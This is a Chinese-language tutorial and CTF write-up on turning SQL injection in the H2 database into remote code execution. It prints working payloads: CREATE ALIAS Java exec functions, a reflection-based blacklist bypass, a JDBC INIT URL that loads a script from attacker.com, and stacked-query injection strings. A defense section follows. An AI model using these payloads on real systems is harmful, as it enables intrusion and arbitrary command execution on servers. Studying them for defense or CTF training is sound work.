H2 Database从SQL到RCE
字数 989 2025-08-29 08:30:36

H2 Database 从SQL注入到远程代码执行(RCE)漏洞分析

1. H2 Database简介

H2 Database是一个内存和纯Java数据库,开发人员常用它来学习、单元测试和概念验证(PoC)。它提供了一个Web控制台用于管理数据库,默认情况下没有设置密码。

2. 漏洞背景

H2数据库存在多个安全风险点,可能导致从SQL注入到远程代码执行(RCE):

  1. 默认无密码的Web控制台
  2. 危险的SQL函数(FILE_READ/FILE_WRITE)
  3. 通过别名(alias)执行Java代码
  4. JDBC URL中的INIT参数可执行初始化命令

3. 漏洞利用方法

3.1 通过Web控制台利用

3.1.1 文件读写函数

H2提供了危险的内置函数:

  • FILE_READ() - 读取文件系统文件
  • FILE_WRITE() - 写入文件到文件系统

3.1.2 通过别名执行Java代码

  1. 创建别名调用Java代码:
CREATE ALIAS SHELLEXEC AS 
$$
 
    void shellexec(String cmd) throws java.io.IOException {
        Runtime.getRuntime().exec(cmd);
    }

$$
;
  1. 调用别名执行命令:
CALL SHELLEXEC('whoami');

3.2 通过SQL注入利用

3.2.1 自定义函数RCE

当存在SQL注入且支持堆叠查询(Stacked Queries)时:

  1. 定义Java函数:
CREATE ALIAS EXEC AS 
$$

    String exec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";
    }

$$
;
  1. 绕过黑名单过滤:
  • 使用Java反射机制
  • 可结合Base64编码绕过

示例绕过payload:

CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException{', 
    'java.lang.reflect.Method m=Runtime.class.getMethod("getRuntime");',
    '((java.lang.Runtime)m.invoke(null)).exec(cmd);',
'}');

3.2.2 利用INIT参数远程加载执行

H2 JDBC URL支持INIT参数执行初始化命令:

  1. 构造恶意JDBC URL:
jdbc:h2:mem:test;INIT=RUNSCRIPT FROM 'http://attacker.com/evil.sql'
  1. 远程SQL文件内容:
CREATE ALIAS SHELLEXEC AS 
$$
 
    void shellexec(String cmd) throws java.io.IOException {
        Runtime.getRuntime().exec(cmd);
    }

$$
;
CALL SHELLEXEC('calc.exe');

3.3 其他利用技术

3.3.1 使用LINK_SCHEMA函数

CREATE LINKED TABLE remote_table('org.h2.Driver', 'jdbc:h2:tcp://attacker_ip/~/test', 'sa', '', 'SELECT * FROM INFORMATION_SCHEMA.TABLES');

注意:高版本对URL进行了限制,只允许java开头的URL。

3.3.2 使用CSVWRITE函数执行SQL

CALL CSVWRITE('/path/to/output.csv', 'SELECT * FROM INFORMATION_SCHEMA.TABLES');

4. 防御措施

  1. 为H2 Web控制台设置强密码
  2. 限制Web控制台的访问权限
  3. 禁用危险的SQL函数
  4. 对用户输入进行严格的过滤和参数化查询
  5. 使用最新版本的H2数据库
  6. 在生产环境中避免使用H2的Web控制台

5. 实际案例分析

在EasyDB题目中发现的漏洞利用:

  1. 发现SQL注入点:
String.format("SELECT * FROM users WHERE username='%s' AND password='%s'", user, pass);
  1. 利用堆叠查询执行恶意SQL:
admin'--; CREATE ALIAS EXEC AS 
$$
 
    String exec(String cmd) throws java.io.IOException {
        java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A");
        return s.hasNext() ? s.next() : "";
    }

$$
; CALL EXEC('whoami');--
  1. 绕过黑名单过滤使用反射:
admin'--; CREATE ALIAS EXEC AS CONCAT('void e(String cmd) throws java.io.IOException{', 
    'java.lang.reflect.Method m=Runtime.class.getMethod("getRuntime");',
    '((java.lang.Runtime)m.invoke(null)).exec(cmd);',
'}'); CALL EXEC('/readflag');--

6. 总结

H2数据库由于其内存特性和丰富的功能,在开发测试中非常有用,但也带来了多种安全风险。攻击者可以通过SQL注入或直接访问Web控制台实现从简单的数据泄露到完全的远程代码执行。开发人员应充分了解这些风险并采取适当的防护措施。

H2 Database 从SQL注入到远程代码执行(RCE)漏洞分析 1. H2 Database简介 H2 Database是一个内存和纯Java数据库,开发人员常用它来学习、单元测试和概念验证(PoC)。它提供了一个Web控制台用于管理数据库,默认情况下没有设置密码。 2. 漏洞背景 H2数据库存在多个安全风险点,可能导致从SQL注入到远程代码执行(RCE): 默认无密码的Web控制台 危险的SQL函数(FILE_ READ/FILE_ WRITE) 通过别名(alias)执行Java代码 JDBC URL中的INIT参数可执行初始化命令 3. 漏洞利用方法 3.1 通过Web控制台利用 3.1.1 文件读写函数 H2提供了危险的内置函数: FILE_READ() - 读取文件系统文件 FILE_WRITE() - 写入文件到文件系统 3.1.2 通过别名执行Java代码 创建别名调用Java代码: 调用别名执行命令: 3.2 通过SQL注入利用 3.2.1 自定义函数RCE 当存在SQL注入且支持堆叠查询(Stacked Queries)时: 定义Java函数: 绕过黑名单过滤: 使用Java反射机制 可结合Base64编码绕过 示例绕过payload: 3.2.2 利用INIT参数远程加载执行 H2 JDBC URL支持INIT参数执行初始化命令: 构造恶意JDBC URL: 远程SQL文件内容: 3.3 其他利用技术 3.3.1 使用LINK_ SCHEMA函数 注意:高版本对URL进行了限制,只允许java开头的URL。 3.3.2 使用CSVWRITE函数执行SQL 4. 防御措施 为H2 Web控制台设置强密码 限制Web控制台的访问权限 禁用危险的SQL函数 对用户输入进行严格的过滤和参数化查询 使用最新版本的H2数据库 在生产环境中避免使用H2的Web控制台 5. 实际案例分析 在EasyDB题目中发现的漏洞利用: 发现SQL注入点: 利用堆叠查询执行恶意SQL: 绕过黑名单过滤使用反射: 6. 总结 H2数据库由于其内存特性和丰富的功能,在开发测试中非常有用,但也带来了多种安全风险。攻击者可以通过SQL注入或直接访问Web控制台实现从简单的数据泄露到完全的远程代码执行。开发人员应充分了解这些风险并采取适当的防护措施。